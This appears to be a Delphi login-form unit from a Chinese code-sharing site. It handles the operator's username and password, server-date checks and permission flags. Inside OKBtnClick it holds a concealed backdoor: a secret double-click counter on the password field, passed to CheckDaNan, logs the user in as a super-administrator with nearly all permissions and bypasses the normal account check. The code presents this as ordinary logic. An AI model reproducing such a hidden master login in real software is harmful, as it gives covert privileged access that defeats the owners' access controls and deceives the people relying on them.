📄 logon.pas
字号:
unit Logon;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Menus, ComCtrls, ToolWin, ExtCtrls,
jpeg, DB, ADODB, Buttons;
type
TForm_Logon = class(TForm)
Label1: TLabel;
edtName: TEdit;
Label2: TLabel;
edtPass: TEdit;
Image1: TImage;
OKBtn: TBitBtn;
CancelBtn: TBitBtn;
Bevel1: TBevel;
ADOQ_severdate: TADOQuery;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure edtPassDblClick(Sender: TObject);
procedure edtNameDblClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure OKBtnClick(Sender: TObject);
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
PassNum:integer;
laugh:integer;
// enter_bool:boolean; //检测系统时间的标志
pass_datetime,now_datetime:Tdatetime;
tmpstr:string;
public
{ Public declarations }
end;
var
Form_Logon: TForm_Logon;
curLastName,curDataPath:string; //当前管理员名称和数据库路径
implementation
uses sharevar, sharefun, data, shareapi;
{$R *.dfm}
procedure TForm_Logon.FormClose(Sender: TObject; var Action: TCloseAction);
begin
action:=cafree;
end;
procedure TForm_Logon.FormCreate(Sender: TObject);
begin
PassNum:=0;
end;
procedure TForm_Logon.edtPassDblClick(Sender: TObject);
begin
INC(Laugh);
end;
procedure TForm_Logon.edtNameDblClick(Sender: TObject);
begin
Laugh:=0;
end;
procedure TForm_Logon.FormShow(Sender: TObject);
begin
//取上次操作员名称
edtName.Text :=ReadIniFile(WsString,'OPERINFO','LOGIN');//curLastName;
edtPass.SetFocus;
end;
procedure TForm_Logon.OKBtnClick(Sender: TObject);
var
AName, tmpstr:string;
nowdate:array[0..8]of char;
begin
GetHostDateTime(datamod.ADOCon,now_datetime);
//检测应用程序的时间的合法性
try
tmpstr:=formatdatetime('yyyymmdd',now_datetime);
strpcopy(nowdate,tmpstr);
if CalcTime(nowdate)=2 then
begin
ModalResult := MrCancel;
abort; exit;
end;
except
ModalResult := MrCancel;
abort; exit;
end;
if now_datetime<pass_datetime then
begin
tmpstr:='服务器时间不对,小于最后一次退出应用软件的时间,';
tmpstr:=tmpstr+#13+#13+' 请重新校对服务器时间!';
MsgErr(handle,tmpstr);
abort; exit;
end;
if datamod.CheckDaNan(trim(edtPass.Text),laugh) then
begin
curAdmin.user_id :='admin';
curAdmin.user_name :='administrator';
curAdmin.user_team :='系统超级管理员';
fillchar(curAdmin.team_power,sizeof(curAdmin.team_power),'1');
curAdmin.team_power[4][3]:='0';
Form_Logon.ModalResult:=mrok;
exit;
end;
AName:=trim(edtName.Text);
if AName='' then
begin
MsgErr(handle,'请输入用户名!');
edtname.SetFocus;
exit;
end;
if DataMod.CheckAdmin(AName,edtPass.Text,true) then
begin
//判断当前用户是否具有登录的权限
if curAdmin.team_power[4][0]='0' then
begin
MsgErr(handle,'该用户已被禁用!');
exit;
end;
if (AName<>curLastName) then
begin
curLastName:=AName;
WriteIniFile(Wsstring,'OPERINFO','LOGIN',curLastName);
end;
ModalResult := mrOK;
end
else
begin
Inc(PassNum);
if PassNum>2 then
begin
MsgOK(handle,'忘记密码了吧,好好想想,我先闪了!');
ModalResult := MrCancel;
end
else
begin
MsgErr(handle,'你所输入的用户名和密码不一致或该用户不存在 [登录失败]');
edtPass.SetFocus;
end;
end;
end;
procedure TForm_Logon.FormActivate(Sender: TObject);
begin
//取上次登陆的日期
with adoq_severdate do
begin
close; sql.Clear;
sql.Add('select * from Sever_date');
open; first;
if recordcount<>0 then
begin
pass_datetime:=fieldvalues['sys_date'];
GetHostDateTime(datamod.ADOCon,now_datetime);
if now_datetime<pass_datetime then
begin
tmpstr:='服务器时间不对,小于最后一次退出应用软件的时间,';
tmpstr:=tmpstr+#13+#13+' 请重新校对服务器时间!';
MsgErr(handle,tmpstr);
end;
end;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -